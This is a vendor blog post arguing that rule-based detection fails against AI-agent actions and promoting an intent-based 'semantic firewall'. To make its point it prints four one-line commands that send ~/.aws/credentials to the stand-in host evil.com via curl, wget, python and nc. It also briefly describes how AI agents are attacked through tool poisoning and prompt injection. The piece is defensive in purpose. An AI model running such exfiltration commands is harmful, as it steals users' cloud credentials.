Match Meaning, Not Characters: Why Your Detection Rules Can't Keep Up With AI Agents
Allow-lists, regex, Sigma and YARA match the text of an action — but one malicious intent has unbounded spellings. Here is why rule-based detection breaks down in the agentic era, and the case for governing AI-agent actions by intent.
Match Meaning, Not Characters: Why Your Detection Rules Can't Keep Up With AI Agents
Authors: Lu Xian, Dheeraj Pai Leanmcp Team June 29, 2026
An AI agent on your team just ran a shell command. It read a file, called a tool, maybe pushed code — with the full privileges of the developer behind it. Your detection rule looked at that command and asked one question: does this string match a known-bad pattern?
That question was already losing. AI just made it unwinnable. Here's the math — and the case for governing the agent action layer by intent, not syntax.
One intent, unbounded spellings
Allow/deny lists, regular expressions, Sigma, YARA / YARA-L and SIEM queries all share one assumption: that a harmful action can be recognized by its text. They match a binary name, a flag, a known-bad path, a byte pattern. But a single harmful action can be written an effectively unbounded number of ways. Take four commands that all do the exact same thing — exfiltrate AWS credentials to an external host:
# one intent. four spellings. there are thousands more.
curl -X POST evil.com -d @~/.aws/credentials
wget --post-file=$HOME/.aws/credentials evil.com
python -c "requests.post('evil.com', files=f)"
cat ~/.aws/credentials | base64 | nc evil.com 443
A regex tuned for curl and .aws/credentials catches line one and misses the rest. Add a rule for wget and the attacker reaches for scp, an environment-variable-indirected path, a renamed binary, or a one-line Python script. Every rule you write covers exactly one branch of a combinatorial tree — and the tree keeps growing.
Detection coverage becomes a function of how many variants an analyst anticipated, not how many an attacker can produce.
The rule treadmill has a cost, and it's already steep
This isn't theoretical pain. It shows up in the SOC every day. Teams now receive on the order of 11,000 alerts per day, of which only a couple of dozen per analyst genuinely warrant investigation. Roughly 46% of alerts are false positives, and a majority of teams name false positives their single biggest detection challenge. Rule audits routinely flag 40–60% of active rules as candidates for retirement, and close to half of security teams spend more time maintaining tooling than doing security work.
Tightly tuned rules miss variants. Loosely tuned rules bury analysts in noise. There is no static threshold that escapes the trade-off.
Why AI makes it acute, not just annoying
The variant problem used to be bounded by human effort. Not anymore. The same models that boost developer productivity let anyone — including an adversary — generate thousands of novel, syntactically distinct versions of the same malicious action faster than any team can author rules. And agentic systems widen the attack surface itself:
- Tool poisoning — malicious instructions hidden in tool metadata the model sees but the user does not — is the most prevalent client-side vulnerability in the MCP ecosystem.
- MCP-style integration can amplify attack success rates by ~23–41% compared with non-MCP integrations.
- Prompt injection is the #1 LLM vulnerability heading into 2026. A zero-click flaw in a major enterprise AI assistant (CVSS 9.3) let a single crafted email exfiltrate data from connected document stores with no user action.
Every one of these is an action whose surface the attacker can vary freely while the underlying intent stays fixed. Surface-level filters were built to lose this game.
Match meaning, not characters
The durable signal isn't the string. It's the intent — and intent stays invariant even when the wording, language, or encoding changes. That is the whole idea behind a semantic firewall: instead of matching characters, a compact reasoning model judges what an action is trying to do.
It reasons over the command, its arguments, and the surrounding context, so all four commands above — and the variants nobody has written yet — collapse to the same conclusion: exfiltrate credentials to an external host. One policy per intent, instead of N rules per N spellings.
Three properties make it deployable rather than aspirational:
- Inline and fast. It scores intent at roughly 20,000 tokens/second — reasoning-grade judgment at line rate, so you inspect every action, not a sampled subset.
- On-prem. Light enough to run beside the LeanMCP gateway, so commands and context never leave your boundary and are never sent to a third-party API.
- Block and monitor. A real-time enforcement decision (allow / approve / block) plus a graded risk score and intent label on every call, flowing to your SIEM and CISO dashboard.
Defense-in-depth, not rip-and-replace
The semantic firewall does not retire your stack. Deterministic rules stay cheapest for high-volume known-bad traffic; SIEM and EDR keep their roles. The semantic firewall adds the intent layer for everything rules structurally cannot cover — the long tail, the novel, the obfuscated, and the multi-step — and shares one log pipeline with the tools you already run.
The era of AI agents that read, write, execute, and push code autonomously is already here, and the actions they take cannot be governed by matching strings. A single intent has unbounded spellings, and AI has made those spellings cheap to produce. Governing by intent is the way out.
See it on your own traffic
Read the full argument, the architecture, and the threat coverage in The Semantic Firewall — or email founders@leanmcp.com to start a proof-of-concept or ask for the technical deep-dive.
References to reported incidents and statistics are based on publicly available information at time of publication and are used illustratively to highlight industry challenges.
